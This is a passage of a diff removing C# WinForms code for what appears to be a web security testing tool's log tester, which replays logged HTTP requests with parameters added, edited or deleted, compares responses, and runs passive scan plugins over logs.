ResentSession.Response.ToString(); - } - if (TestSession != null && TestSession.Request != null) - { - TestRequestView.SetRequest(TestSession.Request); - TestRequestString = TestSession.Request.ToString(); - } - if (TestSession != null && TestSession.Response != null) - { - TestResponseView.SetResponse(TestSession.Response, TestSession.Request); - TestResponseString = TestSession.Response.ToString(); - } - string[] OriginalVsResentRequestSidebySideResults = DiffWindow.DoSideBySideDiff(OriginalRequestString, ResentRequestString); - string[] OriginalVsResentResponseSidebySideResults = DiffWindow.DoSideBySideDiff(OriginalResponseString, ResentResponseString); - string[] OriginalVsTestRequestSidebySideResults = DiffWindow.DoSideBySideDiff(OriginalRequestString, TestRequestString); - string[] OriginalVsTestResponseSidebySideResults = DiffWindow.DoSideBySideDiff(OriginalResponseString, TestResponseString); - string[] ResentVsTestRequestSidebySideResults = DiffWindow.DoSideBySideDiff(ResentRequestString, TestRequestString); - string[] ResentVsTestResponseSidebySideResults = DiffWindow.DoSideBySideDiff(ResentResponseString, TestResponseString); - - string OriginalVsResentRequestSinglePageResults = DiffWindow.DoSinglePageDiff(OriginalRequestString, ResentRequestString); - string OriginalVsResentResponseSinglePageResults = DiffWindow.DoSinglePageDiff(OriginalResponseString, ResentResponseString); - string OriginalVsTestRequestSinglePageResults = DiffWindow.DoSinglePageDiff(OriginalRequestString, TestRequestString); - string OriginalVsTestResponseSinglePageResults = DiffWindow.DoSinglePageDiff(OriginalResponseString, TestResponseString); - string ResentVsTestRequestSinglePageResults = DiffWindow.DoSinglePageDiff(ResentRequestString, TestRequestString); - string ResentVsTestResponseSinglePageResults = DiffWindow.DoSinglePageDiff(ResentResponseString, TestResponseString); - - OriginalVsResentRequestDRV.ShowDiffResults(OriginalVsResentRequestSinglePageResults, OriginalVsResentRequestSidebySideResults[0], OriginalVsResentRequestSidebySideResults[1]); - OriginalVsResentResponseDRV.ShowDiffResults(OriginalVsResentResponseSinglePageResults, OriginalVsResentResponseSidebySideResults[0], OriginalVsResentResponseSidebySideResults[1]); - ResentVsTestRequestDRV.ShowDiffResults(ResentVsTestRequestSinglePageResults, ResentVsTestRequestSidebySideResults[0], ResentVsTestRequestSidebySideResults[1]); - ResentVsTestResponseDRV.ShowDiffResults(ResentVsTestResponseSinglePageResults, ResentVsTestResponseSidebySideResults[0], ResentVsTestResponseSidebySideResults[1]); - OriginalVsTestRequestDRV.ShowDiffResults(OriginalVsTestRequestSinglePageResults, OriginalVsTestRequestSidebySideResults[0], OriginalVsTestRequestSidebySideResults[1]); - OriginalVsTestResponseDRV.ShowDiffResults(OriginalVsTestResponseSinglePageResults, OriginalVsTestResponseSidebySideResults[0], OriginalVsTestResponseSidebySideResults[1]); - } - catch (ThreadAbortException) { } - catch (Exception Exp) { IronException.Report("Error loading Log Tester info", Exp); } - finally - { - EndLogLoad(); - } - } - internal void SetSourceAndLogs(string Source, List LogIds) - { - this.LogSource = Source; - this.CurrentIndex = 0; - this.Counter = 0; - this.LogIdsToTest.Clear(); - foreach (int ID in LogIds) - { - this.Counter++; - this.LogIdsToTest[Counter] = ID; - } - } - - void StartTest() - { - try - { - this.DoTest = true; - if (this.CurrentIndex == 0) - { - this.AllFindings.Clear(); - FindingsIdCounter = 0; - } - for (int i = 1; i <= this.LogIdsToTest.Count; i++) - { - if (!this.DoTest) return; - if (this.CurrentIndex < i) - { - this.CurrentIndex = i; - this.DoTest = this.TestCurrentIndex(); - } - } - this.CurrentIndex = 0; - ShowStatus("Testing complete"); - SetButtonStatusOnTestCompletion(); - } - catch (ThreadAbortException) { } - catch(Exception Exp) - { - IronException.Report("Error performing log testing", Exp); - } - } - - delegate void SetButtonStatusOnTestCompletion_d(); - void SetButtonStatusOnTestCompletion() - { - if (ParameterManipulationResultsStatusLbl.InvokeRequired) - { - SetButtonStatusOnTestCompletion_d CALL_d = new SetButtonStatusOnTestCompletion_d(SetButtonStatusOnTestCompletion); - ParameterManipulationResultsStatusLbl.Invoke(CALL_d, new object[] { }); - } - else - { - PlayBtn.Enabled = true; - PauseBtn.Enabled = false; - StopBtn.Enabled = false; - } - } - - bool TestCurrentIndex() - { - int LogId = this.LogIdsToTest[this.CurrentIndex]; - ShowStatus(string.Format("Testing Log ID {0}", LogId)); - try - { - Session Sess = Session.FromLog(LogId, this.LogSource); - if (this.TestType.Equals(PassivePluginTest)) - return this.DoPassivePluginTestOnCurrentIndex(LogId, Sess); - else - return this.DoParameterTestOnCurrentIndex(LogId, Sess); - } - catch (ThreadAbortException) { } - catch (Exception Exp) - { - ShowStatus("Test stopped, encountered error"); - IronException.Report(string.Format("Error Reading {0} Log - {1}", LogSource, LogId), Exp); - return false; - } - return false; - } - - bool DoPassivePluginTestOnCurrentIndex(int LogId, Session Sess) - { - foreach (string PluginName in this.PassivePluginsToRun) - { - PassivePlugin P = PassivePlugin.Get(PluginName); - if (P.WorksOn == PluginWorksOn.Response && Sess.Response == null) continue; - try - { - ShowStatus(string.Format("Testing Log ID {0} with plugin - {1}", LogId, PluginName)); - Findings CheckResults = new Findings(); - P.Check(Sess, CheckResults, true); - foreach (Finding F in CheckResults.GetAll()) - { - foreach (Trigger T in F.Triggers.GetTriggers()) - { - //To save memory - T.Request = null; - T.Response = null; - } - } - if (CheckResults.GetAll().Count > 0) - { - lock (AllFindings) - { - if (!AllFindings.ContainsKey(LogId)) AllFindings[LogId] = new Findings(); - foreach (Finding F in CheckResults.GetAll()) - { - FindingsIdCounter++; - F.Id = FindingsIdCounter; - F.Plugin = PluginName; - AllFindings[LogId].Add(F); - } - } - } - } - catch(Exception Exp) - { - IronException.Report(string.Format("Error running Passive Plugin '{0}' on {1} log with id {2}", PluginName, this.LogSource, LogId), Exp); - } - } - if (AllFindings.ContainsKey(LogId)) - AddPassivePluginRowInfo(LogId); - return true; - } - - bool DoParameterTestOnCurrentIndex(int LogId, Session Sess) - { - try - { - Request TestRequest = GetTestRequest(Sess.Request); - if (TestRequest == null) - return true; - string OriginalResponseString = ""; - if (Sess.Response != null) - { - SetOriginalSessionInfo(LogId, Sess.Response.Code, Sess.Response.BodyLength); - OriginalResponseString = Sess.Response.ToString(); - } - else - { - SetOriginalSessionInfo(LogId, 0, 0); - } - try - { - string ResentResponseString = ""; - if (ShouldResendOriginalRequest) - { - Response ResentResponse = SendRequest(Sess.Request); - ResentResponseString = ResentResponse.ToString(); - int OriginalVsResentDiffLevel = Tools.DiffLevel(OriginalResponseString, ResentResponseString); - SetResentSessionInfo(LogId, ResentResponse.ID, ResentResponse.Code, ResentResponse.BodyLength, string.Format("{0}%", OriginalVsResentDiffLevel)); - } - - Response TestResponse = SendRequest(TestRequest); - string TestResponseString = TestResponse.ToString(); - int OriginalVsTestDiffLevel = Tools.DiffLevel(OriginalResponseString, TestResponseString); - int ResentVsTestDiffLevel = Tools.DiffLevel(ResentResponseString, TestResponseString); - SetTestSessionInfo(LogId, TestResponse.ID, TestResponse.Code, TestResponse.BodyLength, string.Format("{0}%", OriginalVsTestDiffLevel), string.Format("{0}%", ResentVsTestDiffLevel)); - } - catch (ThreadAbortException) { } - catch (Exception Exp) - { - ShowStatus("Test stopped, encountered error"); - IronException.Report(string.Format("Error Testing {0} Log - {1}", LogSource, LogId), Exp); - return false; - } - } - catch (ThreadAbortException) { } - catch (Exception Exp) - { - ShowStatus("Test stopped, encountered error"); - IronException.Report(string.Format("Error Reading {0} Log - {1}", LogSource, LogId), Exp); - return false; - } - return true; - } - - Response SendRequest(Request Req) - { - if(SessionHandler != null && SessionHandler.Name.Length > 0) - Req = SessionHandler.DoBeforeSending(Req, null); - Req.SetSource(TesterLogSourceAttributeValue); - return Req.Send(); - } - - Request GetTestRequest(Request Req) - { - Request TestRequest = Req.GetClone(); - switch (TestType) - { - case(AddParameterTest): - return AddParameter(TestRequest); - case(EditParameterTest): - return EditParameter(TestRequest); - case(DeleteParameterTest): - return DeleteParameter(TestRequest); - } - return TestRequest; - } - - Request AddParameter(Request Req) - { - try - { - switch (ParameterSection) - { - case (UrlPartPartSection): - List UrlPathParts = Req.UrlPathParts; - UrlPathParts.Insert(UrlPathPartPosition, ParameterValue); - Req.UrlPathParts = UrlPathParts; - break; - case (QuerySection): - Req.Query.Add(ParameterName, ParameterValue); - break; - case (NormalBodySection): - Req.Body.Add(ParameterName, ParameterValue); - break; - case (OtherTypeBodySection): - break; - case (CookieSection): - Req.Cookie.Add(ParameterName, ParameterValue); - break; - case (HeaderSection): - Req.Headers.Add(ParameterName, ParameterValue); - break; - } - } - catch { } - return Req; - } - - Request EditParameter(Request Req) - { - try - { - switch (ParameterSection) - { - case (UrlPartPartSection): - List UrlPathParts = Req.UrlPathParts; - UrlPathParts[UrlPathPartPosition] = ParameterValue; - Req.UrlPathParts = UrlPathParts; - break; - case (QuerySection): - Req.Query.Set(ParameterName, ParameterValue); - break; - case (NormalBodySection): - Req.Body.Set(ParameterName, ParameterValue); - break; - case (OtherTypeBodySection): - break; - case (CookieSection): - Req.Cookie.Set(ParameterName, ParameterValue); - break; - case (HeaderSection): - Req.Headers.Set(ParameterName, ParameterValue); - break; - } - } - catch { } - return Req; - } - - Request DeleteParameter(Request Req) - { - try - { - switch (ParameterSection) - { - case (UrlPartPartSection): - List UrlPathParts = Req.UrlPathParts; - if (UrlPathPartPosition < UrlPathParts.Count) - { - UrlPathParts.RemoveAt(UrlPathPartPosition); - Req.UrlPathParts = UrlPathParts; - } - else - { - return null; - } - break; - case (QuerySection): - if (Req.Query.Has(ParameterName)) - Req.Query.Remove(ParameterName); - else - return null; - break; - case (NormalBodySection): - if (Req.Body.Has(ParameterName)) - Req.Body.Remove(ParameterName); - else - return null; - break; - case (OtherTypeBodySection): - break; - case (CookieSection): - if (Req.Cookie.Has(ParameterName)) - Req.Cookie.Remove(ParameterName); - else - return null; - break; - case (HeaderSection): - if (Req.Headers.Has(ParameterName)) - Req.Headers.Remove(ParameterName); - else - return null; - break; - } - } - catch { return null; } - return Req; - } - - - delegate void SetOriginalSessionInfo_d(int LogId, int Code, int Length); - void SetOriginalSessionInfo(int LogId, int Code, int Length) - { - if (ParameterManipulationResultsLogGrid.InvokeRequired) - { - SetOriginalSessionInfo_d CALL_d = new SetOriginalSessionInfo_d(SetOriginalSessionInfo); - ParameterManipulationResultsLogGrid.Invoke(CALL_d, new object[] { LogId, Code, Length }); - } - else - { - bool AlreadyExists = false; - foreach (DataGridViewRow Row in ParameterManipulationResultsLogGrid.Rows) - { - if (LogId == (int)Row.Cells[0].Value) - { - AlreadyExists = true; - break; - } - } - if(!AlreadyExists) - ParameterManipulationResultsLogGrid.Rows.Add(new object[]{LogId, Code, Length}); - } - } - delegate void SetResentSessionInfo_d(int LogId, int ResentLogId, int Code, int Length, string OriginalVsResent); - void SetResentSessionInfo(int LogId, int ResentLogId, int Code, int Length, string OriginalVsResent) - { - if (ParameterManipulationResultsLogGrid.InvokeRequired) - { - SetResentSessionInfo_d CALL_d = new SetResentSessionInfo_d(SetResentSessionInfo); - ParameterManipulationResultsLogGrid.Invoke(CALL_d, new object[] { LogId, ResentLogId, Code, Length, OriginalVsResent }); - } - else - { - foreach (DataGridViewRow Row in ParameterManipulationResultsLogGrid.Rows) - { - if (LogId == (int)Row.Cells[0].Value) - { - Row.Cells["ResentIdClmn"].Value = ResentLogId; - Row.Cells["ResentCodeClmn"].Value = Code; - Row.Cells["ResentLengthClmn"].Value = Length; - Row.Cells["OriginalVsResentClmn"].Value = OriginalVsResent; - return; - } - } - } - } - delegate void SetTestSessionInfo_d(int LogId, int TestLogId, int Code, int Length, string OriginalVsTest, string ResentVsTest); - void SetTestSessionInfo(int LogId, int TestLogId, int Code, int Length, string OriginalVsTest, string ResentVsTest) - { - if (ParameterManipulationResultsLogGrid.InvokeRequired) - { - SetTestSessionInfo_d CALL_d = new SetTestSessionInfo_d(SetTestSessionInfo); - ParameterManipulationResultsLogGrid.Invoke(CALL_d, new object[] { LogId, TestLogId, Code, Length, OriginalVsTest, ResentVsTest }); - } - else - { - foreach (DataGridViewRow Row in ParameterManipulationResultsLogGrid.Rows) - { - if (LogId == (int)Row.Cells[0].Value) - { - Row.Cells["TestIdClmn"].Value = TestLogId; - Row.Cells["TestCodeClmn"].Value = Code; - Row.Cells["TestLengthClmn"].Value = Length; - Row.Cells["OriginalVsTestClmn"].Value = OriginalVsTest; - Row.Cells["ResentVsTestClmn"].Value = ResentVsTest; - return; - } - } - } - } - - delegate void EndLogLoad_d(); - void EndLogLoad() - { - if (ParameterManipulationResultsLogGrid.InvokeRequired) - { - EndLogLoad_d CALL_d = new EndLogLoad_d(EndLogLoad); - ParameterManipulationResultsLogGrid.Invoke(CALL_d, new object[] { }); - } - else - { - ParameterManipulationLoadProgressBar.Visible = false; - - ParameterManipulationResultsBottomTabs.Visible = true; - } - } - - - delegate void ShowStatus_d(string Status); - void ShowStatus(string Status) - { - if (ParameterManipulationResultsStatusLbl.InvokeRequired) - { - ShowStatus_d CALL_d = new ShowStatus_d(ShowStatus); - ParameterManipulationResultsStatusLbl.Invoke(CALL_d, new object[] { Status }); - } - else - { - ParameterManipulationResultsStatusLbl.Text = Status; - } - } - - delegate void AddPassivePluginRowInfo_d(int LogId); - void AddPassivePluginRowInfo(int LogId) - { - if (PassivePluginsScanResultsGrid.InvokeRequired) - { - AddPassivePluginRowInfo_d CALL_d = new AddPassivePluginRowInfo_d(AddPassivePluginRowInfo); - PassivePluginsScanResultsGrid.Invoke(CALL_d, new object[] { LogId }); - } - else - { - Findings LogFindings = this.AllFindings[LogId]; - - List HighVulnTitles = new List(); - List MediumVulnTitles = new List(); - List LowVulnTitles = new List(); - List InfoTitles = new List(); - List TestLeadsTitles = new List(); - - foreach (Finding F in LogFindings.GetAll()) - { - switch(F.Type) - { - case(FindingType.Vulnerability): - switch(F.Severity) - { - case(FindingSeverity.High): - HighVulnTitles.Add(F.Title); - break; - case(FindingSeverity.Medium): - MediumVulnTitles.Add(F.Title); - break; - case(FindingSeverity.Low): - LowVulnTitles.Add(F.Title); - break; - } - break; - case(FindingType.Information): - InfoTitles.Add(F.Title); - break; - case (FindingType.TestLead): - TestLeadsTitles.Add(F.Title); - break; - } - } - - StringBuilder Titles = new StringBuilder(); - if (HighVulnTitles.Count > 0) - { - Titles.Append(string.Join(",", HighVulnTitles.ToArray())); - } - if (MediumVulnTitles.Count > 0) - { - if (Titles.Length > 0) Titles.Append(","); - Titles.Append(string.Join(",", MediumVulnTitles.ToArray())); - } - if (LowVulnTitles.Count > 0) - { - if (Titles.Length > 0) Titles.Append(","); - Titles.Append(string.Join(",", LowVulnTitles.ToArray())); - } - if (TestLeadsTitles.Count > 0) - { - if (Titles.Length > 0) Titles.Append(","); - Titles.Append(string.Join(",", TestLeadsTitles.ToArray())); - } - if (InfoTitles.Count > 0) - { - if (Titles.Length > 0) Titles.Append(","); - Titles.Append(string.Join(",", InfoTitles.ToArray())); - } - - PassivePluginsScanResultsGrid.Rows.Add(new object[]{ LogId, HighVulnTitles.Count + MediumVulnTitles.Count + LowVulnTitles.Count, HighVulnTitles.Count, MediumVulnTitles.Count, LowVulnTitles.Count, InfoTitles.Count, TestLeadsTitles.Count, Titles.ToString() }); - } - } - - public void PauseTest() - { - this.DoTest = false; - try - { - TestThread.Abort(); - } - catch { } - this.CurrentIndex = this.CurrentIndex - 1; - ShowStatus("Test paused"); - - } - - public void StopTest() - { - this.DoTest = false; - try - { - TestThread.Abort(); - } - catch { } - this.CurrentIndex = 0; - ShowStatus("Test stopped"); - } - - private void StartTestBtn_Click(object sender, EventArgs e) - { - if (ReadTestSettings()) - { - ShowStep0Status(""); - if (TestThread != null) - { - try - { - TestThread.Abort(); - } - catch { } - } - TestThread = new Thread(StartTest); - TestThread.Start(); - CurrentStep = 2; - if(this.TestType.Equals(PassivePluginTest)) - ResultsBaseTabs.SelectTab("PassiveChecksResultsTab"); - else - ResultsBaseTabs.SelectTab("ParameterManipulationResultsTab"); - BaseTabs.SelectTab("ResultsTab"); - PlayBtn.Enabled = false; - PauseBtn.Enabled = true; - StopBtn.Enabled = true; - } - } - - bool ReadTestSettings() - { - if (this.TestType.Equals(PassivePluginTest)) - { - this.PassivePluginsToRun.Clear(); - foreach (DataGridViewRow Row in PassiveScanPluginsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) PassivePluginsToRun.Add(Row.Cells[1].Value.ToString()); - } - if (this.PassivePluginsToRun.Count == 0) - { - ShowStep1Error("No plugins selected, select atleast one plugin"); - return false; - } - else - { - return true; - } - } - else - { - ParameterSection = ParameterTypeCombo.Text; - ParameterName = ParameterNameTB.Text.Trim(); - ParameterValue = ParameterValueTB.Text.Trim(); - if (ParameterTypeCombo.SelectedIndex < 0) - { - ShowStep1Error("Parameter Section is not selected"); - return false; - } - if (ParameterName.Length == 0) - { - ShowStep1Error("Parameter name cannot be blank"); - return false; - } - if (ParameterTypeCombo.SelectedIndex == 0) - { - try - { - Int32.Parse(ParameterName); - } - catch - { - ShowStep1Error("Parameter Index must be a number"); - return false; - } - } - if (SessionPluginsCombo.Text.Trim().Length > 0) - { - if (SessionPlugin.List().Contains(SessionPluginsCombo.Text)) - { - SessionHandler = SessionPlugin.Get(SessionPluginsCombo.Text); - } - else - { - ShowStep1Error("Session Plugin name is invalid. Either select an existing plugin from drop-down or leave this field blank."); - return false; - } - } - } - return true; - } - - private void StepOneNextBtn_Click(object sender, EventArgs e) - { - ShowStep0Status(""); - if (ParameterAddTestRB.Checked) - { - this.TestType = AddParameterTest; - ParameterActionLbl.Text = "Parameter to Add:"; - ParameterValueTBLbl.Visible = true; - ParameterValueTB.Visible = true; - ConfigureTestTabs.SelectTab("ConfigureParameterTab"); - } - else if (ParameterEditTestRB.Checked) - { - this.TestType = EditParameterTest; - ParameterActionLbl.Text = "Parameter to Edit:"; - ParameterValueTBLbl.Visible = true; - ParameterValueTB.Visible = true; - ConfigureTestTabs.SelectTab("ConfigureParameterTab"); - } - else if (ParameterDeleteTestRB.Checked) - { - this.TestType = DeleteParameterTest; - ParameterActionLbl.Text = "Parameter to Delete:"; - ParameterValueTBLbl.Visible = false; - ParameterValueTB.Visible = false; - ConfigureTestTabs.SelectTab("ConfigureParameterTab"); - } - else if (RunPassivePluginsRB.Checked) - { - this.TestType = PassivePluginTest; - ConfigureTestTabs.SelectTab("SelectPluginsTab"); - PassiveScanPluginsGrid.Rows.Clear(); - SelectAllPassivePluginsCB.Checked = false; - foreach (string PluginName in PassivePlugin.List()) - { - if(PassivePlugin.Get(PluginName).CallingState == PluginCallingState.Offline) - PassiveScanPluginsGrid.Rows.Add(new object[]{false, PluginName}); - } - ConfigureTestTabs.SelectTab("SelectPluginsTab"); - } - else - { - ShowStep0Error("Atleast one option must be selected"); - return; - } - CurrentStep = 1; - BaseTabs.SelectTab("ConfigureTab"); - } - - void ShowStep0Status(string Text) - { - this.Step0StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step0StatusTB.Visible = false; - } - else - { - this.Step0StatusTB.ForeColor = Color.Black; - this.Step0StatusTB.Visible = true; - } - } - void ShowStep0Error(string Text) - { - this.Step0StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step0StatusTB.Visible = false; - } - else - { - this.Step0StatusTB.ForeColor = Color.Red; - this.Step0StatusTB.Visible = true; - } - } - - void ShowStep1Status(string Text) - { - this.Step1StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step1StatusTB.Visible = false; - } - else - { - this.Step1StatusTB.ForeColor = Color.Black; - this.Step1StatusTB.Visible = true; - } - } - void ShowStep1Error(string Text) - { - this.Step1StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step1StatusTB.Visible = false; - } - else - { - this.Step1StatusTB.ForeColor = Color.Red; - this.Step1StatusTB.Visible = true; - } - } - - private void ParameterTypeCombo_SelectedIndexChanged(object sender, EventArgs e) - { - if (ParameterTypeCombo.SelectedIndex == 0) - ParameterNameTBLbl.Text = "Parameter Index:"; - else - ParameterNameTBLbl.Text = "Parameter Name:"; - } - - private void CancelBtn_Click(object sender, EventArgs e) - { - this.Close(); - } - - private void StepTwoPreviousBtn_Click(object sender, EventArgs e) - { - CurrentStep = 0; - BaseTabs.SelectTab("SelectTestTab"); - } - - private void PlayBtn_Click(object sender, EventArgs e) - { - if (TestThread != null) - { - try - { - TestThread.Abort(); - } - catch { } - } - if (this.CurrentIndex == 0) - { - ParameterManipulationResultsLogGrid.Rows.Clear(); - PassivePluginsScanResultsGrid.Rows.Clear(); - } - TestThread = new Thread(StartTest); - TestThread.Start(); - PlayBtn.Enabled = false; - PauseBtn.Enabled = true; - StopBtn.Enabled = true; - } - - private void PauseBtn_Click(object sender, EventArgs e) - { - PauseTest(); - PlayBtn.Enabled = true; - PauseBtn.Enabled = false; - StopBtn.Enabled = true; - } - - private void StopBtn_Click(object sender, EventArgs e) - { - StopTest(); - PlayBtn.Enabled = true; - PauseBtn.Enabled = false; - StopBtn.Enabled = false; - } - - private void LogsTester_FormClosing(object sender, FormClosingEventArgs e) - { - this.StopTest(); - } - - private void ResultsBaseTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - if (this.TestType.Equals(PassivePluginTest)) - { - if (!ResultsBaseTabs.SelectedTab.Name.Equals("PassiveChecksResultsTab")) - ResultsBaseTabs.SelectTab("PassiveChecksResultsTab"); - } - else - { - if (!ResultsBaseTabs.SelectedTab.Name.Equals("ParameterManipulationResultsTab")) - ResultsBaseTabs.SelectTab("ParameterManipulationResultsTab"); - } - } - - private void ConfigureTestTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - if (this.TestType.Equals(PassivePluginTest)) - { - if(!ConfigureTestTabs.SelectedTab.Name.Equals("SelectPluginsTab")) - ConfigureTestTabs.SelectTab("SelectPluginsTab"); - } - else - { - if (!ConfigureTestTabs.SelectedTab.Name.Equals("ConfigureParameterTab")) - ConfigureTestTabs.SelectTab("ConfigureParameterTab"); - } - } - - private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - if (BaseTabs.SelectedIndex != CurrentStep) - BaseTabs.SelectTab(CurrentStep); - } - - private void ParameterTypeCombo_KeyPress(object sender, KeyPressEventArgs e) - { - if (e.KeyChar != (char)Keys.Enter) - e.Handled = true; - } - - private void ShouldResentOriginalRequestCB_CheckedChanged(object sender, EventArgs e) - { - this.ShouldResendOriginalRequest = ShouldResentOriginalRequestCB.Checked; - } - - private void PassiveScanPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (PassiveScanPluginsGrid.SelectedRows == null) return; - if (PassiveScanPluginsGrid.SelectedRows.Count == 0) return; - PassiveScanPluginsGrid.SelectedRows[0].Cells[0].Value = !((bool)PassiveScanPluginsGrid.SelectedRows[0].Cells[0].Value); - if (!(bool)PassiveScanPluginsGrid.SelectedRows[0].Cells[0].Value) SelectAllPassivePluginsCB.Checked = false; - } - - private void SelectAllPassivePluginsCB_Click(object sender, EventArgs e) - { - foreach (DataGridViewRow Row in PassiveScanPluginsGrid.Rows) - { - Row.Cells[0].Value = SelectAllPassivePluginsCB.Checked; - } - } - - private void PassivePluginsScanResultsGrid_SelectionChanged(object sender, EventArgs e) - { - if (PassivePluginsScanResultsGrid.SelectedCells == null || PassivePluginsScanResultsGrid.SelectedCells.Count == 0) return; - try - { - int LogId = (int)PassivePluginsScanResultsGrid.SelectedRows[0].Cells[0].Value; - Findings Fs = AllFindings[LogId]; - FindingsTree.Nodes.Clear(); - PassivePluginLogRequestView.ClearRequest(); - PassivePluginLogResponseView.ClearResponse(); - PassivePluginScanResultsBottomTabs.SelectTab(0); - - TreeNode RootNode = FindingsTree.Nodes.Add(string.Format("LogId-{0}", LogId), "Click finding to view details"); - TreeNode VulnNode = RootNode.Nodes.Add("Vulnerabilities", "Vulnerabilities"); - TreeNode HighVulnNode = VulnNode.Nodes.Add("High", "High"); - HighVulnNode.ForeColor = Color.Red; - TreeNode MediumVulnNode = VulnNode.Nodes.Add("Medium", "Medium"); - MediumVulnNode.ForeColor = Color.Orange; - TreeNode LowVulnNode = VulnNode.Nodes.Add("Low", "Low"); - LowVulnNode.ForeColor = Color.SteelBlue; - TreeNode InfoNode = RootNode.Nodes.Add("Information", "Information"); - TreeNode TestLeadsNode = RootNode.Nodes.Add("TestLeads", "TestLeads"); - - int FindingCounter = 0; - foreach (Finding F in Fs.GetAll()) - { - FindingCounter++; - switch (F.Type) - { - case(FindingType.Vulnerability): - switch (F.Severity) - { - case(FindingSeverity.High): - HighVulnNode.Nodes.Add(F.Id.ToString(), F.Title); - break; - case (FindingSeverity.Medium): - MediumVulnNode.Nodes.Add(F.Id.ToString(), F.Title); - break; - case (FindingSeverity.Low): - LowVulnNode.Nodes.Add(F.Id.ToString(), F.Title); - break; - } - break; - case (FindingType.Information): - InfoNode.Nodes.Add(F.Id.ToString(), F.Title); - break; - case (FindingType.TestLead): - TestLeadsNode.Nodes.Add(F.Id.ToString(), F.Title); - break; - } - } - RootNode.ExpandAll(); - ResultsDisplayRTB.Text = ""; - } - catch { } - } - - private void FindingsTree_AfterSelect(object sender, TreeViewEventArgs e) - { - try - { - TreeNode Node = FindingsTree.SelectedNode; - if (Node == null) return; - if (Node.Level == 3 || (Node.Level == 2 && (Node.Parent.Index == 1 || Node.Parent.Index == 2))) - { - ResultsDisplayRTB.Text = ""; - int LogId = Int32.Parse(FindingsTree.Nodes[0].Name.Replace("LogId-", "")); - int FindingId = Int32.Parse(Node.Name); - Findings LogFindings = AllFindings[LogId]; - foreach (Finding PR in LogFindings.GetAll()) - { - if (PR.Id == FindingId) - { - StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); - SB.Append(@" \cf1 Showing preview. Loading more details...... \cf0 \par \par "); - SB.Append(@" \b \fs30"); SB.Append(Tools.RtfSafe(PR.Title)); SB.Append(@"\b0 \fs20 \par \par"); - SB.Append(@" \cf1 \b Plugin: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PR.Plugin)); SB.Append(@" \par"); - if (PR.Type == FindingType.Vulnerability) - { - SB.Append(@" \cf1 \b Severity: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PR.Severity.ToString())); SB.Append(@" \par"); - SB.Append(@" \cf1 \b Confidence: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PR.Confidence.ToString())); SB.Append(@" \par"); - } - SB.Append(@" \par"); - SB.Append(@" \cf1 \b Summary: \b0 \cf0 \par "); - SB.AppendLine(Tools.RtfSafe(PR.Summary)); - SB.Append(@" \par \par"); - ResultsDisplayRTB.Rtf = SB.ToString(); - - if (LogLoadThread != null) - { - try - { - LogLoadThread.Abort(); - } - catch { } - } - LogLoadThread = new Thread(LoadFullFinding); - LogLoadThread.Start(new object[]{PR, Int32.Parse(FindingsTree.Nodes[0].Name.Replace("LogId-", ""))}); - } - } - } - } - catch { } - } - - void LoadFullFinding(Object Args) - { - try - { - object[] ArgsArray = (object[])Args; - Finding F = (Finding) ArgsArray[0]; - int LogId = (int)ArgsArray[1]; - Session Sess = Session.FromLog(LogId, this.LogSource); - - string TriggerHighlighting = ""; - if (F.Triggers.Count > 0) - { - Trigger T = F.Triggers.GetTrigger(0); - T.Request = Sess.Request; - if (Sess.Response != null) T.Response = Sess.Response; - - TriggerHighlighting = Finding.GetTriggerHighlighting(T, F.FinderType, false); - } - ShowFullFinding(F, TriggerHighlighting); - - } - catch(Exception Exp) - { - IronException.Report("Error load Findings from Logs Testers", Exp); - } - } - - delegate void ShowFullFinding_d(Finding F, string TriggerHighlighting); - void ShowFullFinding(Finding F, string TriggerHighlighting) - { - if (ResultsDisplayRTB.InvokeRequired) - { - ShowFullFinding_d CALL_d = new ShowFullFinding_d(ShowFullFinding); - ResultsDisplayRTB.Invoke(CALL_d, new object[] { F, TriggerHighlighting }); - } - else - { - StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); - SB.Append(@" \b \fs30"); SB.Append(Tools.RtfSafe(F.Title)); SB.Append(@"\b0 \fs20 \par \par"); - SB.Append(@" \cf1 \b Plugin: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(F.Plugin)); SB.Append(@" \par"); - if (F.Type == FindingType.Vulnerability) - { - SB.Append(@" \cf1 \b Severity: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(F.Severity.ToString())); SB.Append(@" \par"); - SB.Append(@" \cf1 \b Confidence: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(F.Confidence.ToString())); SB.Append(@" \par"); - } - SB.Append(@" \par"); - SB.Append(@" \cf1 \b Summary: \b0 \cf0 \par "); - SB.AppendLine(Tools.RtfSafe(F.Summary)); - SB.Append(@" \par \par \par "); - if (F.Triggers.Count > 0) - { - Trigger T = F.Triggers.GetTrigger(0); - SB.Append(Tools.RtfSafe(Finding.GetTriggerHighlighting(T, "PassivePlugin", false))); - if (PassivePluginLogRequestView.GetRequest() == null) - { - if (T.Request != null) - { - PassivePluginLogRequestView.SetRequest(T.Request); - if (T.Response != null) - { - PassivePluginLogResponseView.SetResponse(T.Response, T.Request); - } - } - } - } - ResultsDisplayRTB.Rtf = SB.ToString(); - } - } - - private void PassivePluginScanResultsBottomTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - if (PassivePluginScanResultsBottomTabs.SelectedIndex == 1) - { - if (FindingsTree.Nodes.Count > 0) - { - if (PassivePluginLogRequestView.GetRequest() == null) - { - try - { - int LogId = Int32.Parse(FindingsTree.Nodes[0].Name.Replace("LogId-", "")); - if (LogLoadThread != null) - { - try - { - LogLoadThread.Abort(); - } - catch { } - } - LogLoadThread = new Thread(LoadPassivePluginResultLog); - LogLoadThread.Start(LogId); - 